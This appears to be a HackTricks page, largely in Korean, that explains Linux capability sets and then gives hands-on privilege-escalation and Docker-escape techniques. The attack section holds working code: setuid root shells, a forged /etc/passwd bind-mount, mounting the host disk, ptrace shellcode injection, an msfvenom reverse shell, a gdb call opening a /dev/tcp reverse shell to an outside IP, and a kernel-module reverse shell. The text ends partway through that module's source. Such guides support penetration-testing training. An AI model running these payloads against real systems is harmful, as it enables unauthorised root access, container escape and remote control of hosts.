Linux Capabilities

Support HackTricks

​​​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.\

Linux Capabilities

Linux capabilities는 루트 권한을 더 작고 구별된 단위로 나누어, 프로세스가 권한의 하위 집합을 가질 수 있도록 합니다. 이는 불필요하게 전체 루트 권한을 부여하지 않음으로써 위험을 최소화합니다.

문제:

  • 일반 사용자는 제한된 권한을 가지고 있어, 루트 접근이 필요한 네트워크 소켓을 여는 작업에 영향을 미칩니다.

권한 집합:

  1. 상속된 (CapInh):

  • 목적: 부모 프로세스에서 전달된 권한을 결정합니다.

  • 기능: 새로운 프로세스가 생성될 때, 이 집합에서 부모로부터 권한을 상속받습니다. 프로세스 생성 간 특정 권한을 유지하는 데 유용합니다.

  • 제한: 프로세스는 부모가 가지지 않은 권한을 얻을 수 없습니다.

  1. 유효한 (CapEff):

  • 목적: 프로세스가 현재 사용하는 실제 권한을 나타냅니다.

  • 기능: 다양한 작업에 대한 권한을 부여하기 위해 커널이 확인하는 권한 집합입니다. 파일의 경우, 이 집합은 파일의 허용된 권한이 유효한지 여부를 나타내는 플래그가 될 수 있습니다.

  • 의의: 유효한 집합은 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 권한 집합으로 작용합니다.

  1. 허용된 (CapPrm):

  • 목적: 프로세스가 가질 수 있는 최대 권한 집합을 정의합니다.

  • 기능: 프로세스는 허용된 집합에서 유효한 집합으로 권한을 상승시킬 수 있으며, 해당 권한을 사용할 수 있게 됩니다. 또한 허용된 집합에서 권한을 제거할 수도 있습니다.

  • 경계: 프로세스가 가질 수 있는 권한의 상한선으로 작용하여, 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 보장합니다.

  1. 경계 (CapBnd):

  • 목적: 프로세스가 생애 주기 동안 획득할 수 있는 권한에 한계를 둡니다.

  • 기능: 프로세스가 상속 가능하거나 허용된 집합에서 특정 권한을 가지고 있더라도, 경계 집합에 포함되지 않으면 해당 권한을 획득할 수 없습니다.

  • 사용 사례: 이 집합은 프로세스의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적인 보안 계층을 추가합니다.

  1. 환경 (CapAmb):

  • 목적: 특정 권한이 execve 시스템 호출을 통해 유지될 수 있도록 하여, 일반적으로 프로세스의 권한이 완전히 초기화되는 결과를 초래합니다.

  • 기능: 관련 파일 권한이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다.

  • 제한: 이 집합의 권한은 상속 가능 및 허용된 집합의 제약을 받으며, 프로세스의 허용된 권한을 초과하지 않도록 보장합니다.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

더 많은 정보는 다음을 확인하세요:

프로세스 및 바이너리 기능

프로세스 기능

특정 프로세스의 기능을 보려면 /proc 디렉토리의 status 파일을 사용하세요. 더 많은 세부정보를 제공하므로 Linux 기능과 관련된 정보로만 제한합시다. 모든 실행 중인 프로세스에 대한 기능 정보는 스레드별로 유지되며, 파일 시스템의 바이너리에 대해서는 확장 속성에 저장됩니다.

/usr/include/linux/capability.h에서 정의된 기능을 찾을 수 있습니다.

현재 프로세스의 기능은 cat /proc/self/status 또는 capsh --print를 사용하여 확인할 수 있으며, 다른 사용자의 기능은 /proc/<pid>/status에서 확인할 수 있습니다.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

이 명령은 대부분의 시스템에서 5줄을 반환해야 합니다.

  • CapInh = 상속된 권한

  • CapPrm = 허용된 권한

  • CapEff = 유효한 권한

  • CapBnd = 경계 집합

  • CapAmb = 환경 권한 집합

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

이 16진수 숫자는 의미가 없습니다. capsh 유틸리티를 사용하여 이를 권한 이름으로 디코딩할 수 있습니다.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

이제 ping에서 사용되는 capabilities를 확인해 봅시다:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

그 방법도 효과적이지만, 더 쉽고 다른 방법이 있습니다. 실행 중인 프로세스의 능력을 보려면, getpcaps 도구를 사용한 다음 프로세스 ID (PID)를 입력하면 됩니다. 프로세스 ID 목록을 제공할 수도 있습니다.

getpcaps 1234

여기에서 tcpdump의 기능을 확인해 보겠습니다. 이진 파일에 충분한 기능(cap_net_admincap_net_raw)을 부여하여 네트워크를 스니핑합니다 (tcpdump는 프로세스 9562에서 실행 중입니다):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

주어진 능력은 이진 파일의 능력을 얻는 두 가지 방법의 결과와 일치합니다. getpcaps 도구는 capget() 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 능력을 쿼리합니다. 이 시스템 호출은 더 많은 정보를 얻기 위해 PID만 제공하면 됩니다.

이진 파일의 능력

이진 파일은 실행 중에 사용할 수 있는 능력을 가질 수 있습니다. 예를 들어, cap_net_raw 능력을 가진 ping 이진 파일을 찾는 것은 매우 일반적입니다:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

You can search binaries with capabilities using: 당신은 능력을 가진 바이너리 검색을 사용할 수 있습니다:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

CAP_NET_RAW 권한을 _ping_에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Besides the output of capsh itself, the tcpdump command itself should also raise an error.

/bin/bash: /usr/sbin/tcpdump: 허용되지 않는 작업

The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with

setcap -r </path/to/binary>

User Capabilities

명백히 사용자에게도 권한을 부여할 수 있습니다. 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미합니다. 이것, 이것이것을 기반으로 특정 권한을 사용자에게 부여하기 위해 몇 가지 파일을 구성해야 하지만, 각 사용자에게 권한을 부여하는 파일은 /etc/security/capability.conf입니다. 파일 예:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

환경 능력

다음 프로그램을 컴파일하면 능력을 제공하는 환경 내에서 bash 셸을 생성할 수 있습니다.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

컴파일된 환경 바이너리에 의해 실행된 bash 내부에서 새로운 능력을 관찰할 수 있습니다(일반 사용자는 "현재" 섹션에 어떤 능력도 가지지 않습니다).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

당신은 허용된 세트와 상속 가능한 세트 모두에 존재하는 능력만 추가할 수 있습니다.

능력 인식/능력 무시 이진 파일

능력 인식 이진 파일은 환경에서 제공하는 새로운 능력을 사용하지 않지만, 능력 무시 이진 파일은 이를 거부하지 않기 때문에 사용할 것입니다. 이는 능력을 이진 파일에 부여하는 특별한 환경 내에서 능력 무시 이진 파일을 취약하게 만듭니다.

서비스 능력

기본적으로 루트로 실행되는 서비스는 모든 능력이 할당됩니다, 그리고 경우에 따라 이는 위험할 수 있습니다. 따라서, 서비스 구성 파일은 원하는 능력서비스를 실행해야 하는 사용자지정할 수 있게 하여 불필요한 권한으로 서비스를 실행하지 않도록 합니다:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

기본적으로 Docker는 컨테이너에 몇 가지 기능을 할당합니다. 이러한 기능이 무엇인지 확인하는 것은 매우 쉽습니다:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

Privesc/Container Escape

Capabilities는 특권 작업을 수행한 후 자신의 프로세스를 제한하고자 할 때 유용합니다 (예: chroot를 설정하고 소켓에 바인딩한 후). 그러나 악의적인 명령이나 인수를 전달하여 root로 실행될 수 있도록 악용될 수 있습니다.

setcap을 사용하여 프로그램에 capabilities를 강제로 설정할 수 있으며, getcap을 사용하여 이를 조회할 수 있습니다:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep는 능력을 추가하고 있음을 의미합니다 (“-”는 제거합니다) 효과적이고 허용된 것으로.

시스템이나 폴더에서 능력을 가진 프로그램을 식별하려면:

getcap -r / 2>/dev/null

Exploitation example

다음 예제에서 이진 파일 /usr/bin/python2.6가 권한 상승에 취약한 것으로 발견되었습니다:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

"빈" 능력의 특별한 경우

문서에서: 프로그램 파일에 빈 능력 집합을 할당할 수 있으며, 따라서 실행하는 프로세스의 유효 및 저장된 set-user-ID를 0으로 변경하지만 해당 프로세스에 능력을 부여하지 않는 set-user-ID-root 프로그램을 생성할 수 있습니다. 간단히 말해, 다음 조건을 만족하는 바이너리가 있다면:

  1. root에 의해 소유되지 않음

  2. SUID/SGID 비트가 설정되어 있지 않음

  3. 빈 능력 집합이 설정되어 있음 (예: getcap myelfmyelf =ep를 반환)

그렇다면 해당 바이너리는 root로 실행됩니다.

CAP_SYS_ADMIN

**CAP_SYS_ADMIN**은 매우 강력한 Linux 능력으로, 장치 마운트 또는 커널 기능 조작과 같은 광범위한 관리 권한으로 인해 거의 root 수준에 해당합니다. 전체 시스템을 시뮬레이션하는 컨테이너에 필수적이지만, CAP_SYS_ADMIN은 권한 상승 및 시스템 손상의 가능성으로 인해 특히 컨테이너화된 환경에서 상당한 보안 문제를 야기합니다. 따라서 이 능력의 사용은 엄격한 보안 평가와 신중한 관리가 필요하며, 최소 권한 원칙을 준수하고 공격 표면을 최소화하기 위해 애플리케이션 전용 컨테이너에서 이 능력을 제거하는 것이 강력히 권장됩니다.

바이너리 예제

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

파이썬을 사용하여 실제 passwd 파일 위에 수정된 passwd 파일을 마운트할 수 있습니다:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

마지막으로 수정된 passwd 파일을 /etc/passwdmount합니다:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

그리고 당신은 비밀번호 "password"를 사용하여 su as root로 전환할 수 있습니다.

환경 예시 (Docker 탈출)

다음 명령어를 사용하여 도커 컨테이너 내에서 활성화된 능력을 확인할 수 있습니다:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_ADMIN capability is enabled.

  • Mount

이것은 도커 컨테이너가 호스트 디스크를 마운트하고 자유롭게 접근할 수 있도록 허용합니다:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • 전체 접근

이전 방법에서는 도커 호스트 디스크에 접근할 수 있었습니다. 호스트가 ssh 서버를 실행 중인 경우, 도커 호스트 디스크 내에 사용자를 생성하고 SSH를 통해 접근할 수 있습니다:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

이것은 호스트에서 실행 중인 일부 프로세스에 쉘코드를 주입하여 컨테이너를 탈출할 수 있음을 의미합니다. 호스트에서 실행 중인 프로세스에 접근하려면 컨테이너를 최소한 --pid=host 옵션으로 실행해야 합니다.

**CAP_SYS_PTRACE**는 ptrace(2)가 제공하는 디버깅 및 시스템 호출 추적 기능과 process_vm_readv(2), process_vm_writev(2)와 같은 교차 메모리 첨부 호출을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없이 CAP_SYS_PTRACE가 활성화되면 시스템 보안을 심각하게 저해할 수 있습니다. 특히, 이는 seccomp에 의해 부과된 다른 보안 제한을 우회하는 데 악용될 수 있으며, 이와 같은 개념 증명(PoC)에서 입증되었습니다.

바이너리 예제 (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

이진 파일 예제 (gdb)

gdbptrace 권한:

/usr/bin/gdb = cap_sys_ptrace+ep
msfvenom을 사용하여 메모리에 주입할 쉘코드를 생성합니다.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c

이 명령은 리버스 쉘을 생성합니다. 생성된 쉘코드를 gdb를 통해 메모리에 주입할 수 있습니다.

```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")
gdb를 사용하여 루트 프로세스를 디버깅하고 이전에 생성된 gdb 라인을 복사하여 붙여넣습니다:
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

환경 예제 (Docker 탈출) - 또 다른 gdb 남용

GDB가 설치되어 있거나 (apk add gdb 또는 apt install gdb로 설치할 수 있는 경우) 호스트에서 프로세스를 디버깅하고 system 함수를 호출하게 할 수 있습니다. (이 기술은 SYS_ADMIN 권한도 필요합니다).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

명령어의 출력을 볼 수는 없지만 해당 프로세스에 의해 실행됩니다 (따라서 rev shell을 얻으세요).

"현재 컨텍스트에 'system' 기호가 없습니다."라는 오류가 발생하면 gdb를 통해 프로그램에 쉘코드를 로드하는 이전 예제를 확인하세요.

환경 예제 (Docker 탈출) - 쉘코드 주입

다음 명령어를 사용하여 도커 컨테이너 내에서 활성화된 기능을 확인할 수 있습니다:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processes running in the host ps -eaf

  1. Get the architecture uname -m

  2. Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)

  3. Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

  4. Modify the shellcode inside the program and compile it gcc inject.c -o inject

  5. Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

**CAP_SYS_MODULE**는 프로세스가 커널 모듈을 로드하고 언로드할 수 있도록 (init_module(2), finit_module(2)delete_module(2) 시스템 호출) 하여 커널의 핵심 작업에 직접 접근할 수 있게 합니다. 이 기능은 커널을 수정할 수 있게 하여 모든 Linux 보안 메커니즘, Linux Security Modules 및 컨테이너 격리를 우회할 수 있으므로 중요한 보안 위험을 초래합니다. 이는 호스트 머신의 커널에 커널 모듈을 삽입/제거할 수 있음을 의미합니다.

Example with binary

다음 예제에서 이 바이너리 **python**은 이 기능을 가지고 있습니다.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

기본적으로, modprobe 명령은 디렉토리 **/lib/modules/$(uname -r)**에서 의존성 목록과 맵 파일을 확인합니다. 이를 악용하기 위해 가짜 lib/modules 폴더를 생성해 봅시다:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

그런 다음 아래 두 가지 예제를 찾을 수 있는 커널 모듈을 컴파일하고 이 폴더에 복사하십시오:

cp reverse-shell.ko lib/modules/$(uname -r)/

마지막으로, 이 커널 모듈을 로드하기 위해 필요한 파이썬 코드를 실행합니다:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Example 2 with binary

다음 예제에서 이 바이너리 **kmod**는 이 권한을 가지고 있습니다.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

어떤 의미에서든 insmod 명령어를 사용하여 커널 모듈을 삽입할 수 있습니다. 아래 예제를 따라 이 권한을 악용하여 reverse shell을 얻으세요.

환경 예제 (Docker 탈출)

docker 컨테이너 내에서 활성화된 능력을 확인하려면 다음을 사용하세요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_MODULE capability is enabled.

커널 모듈을 생성하여 리버스 셸을 실행하고, 이를 컴파일하기 위한 Makefile을 작성합니다:

reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
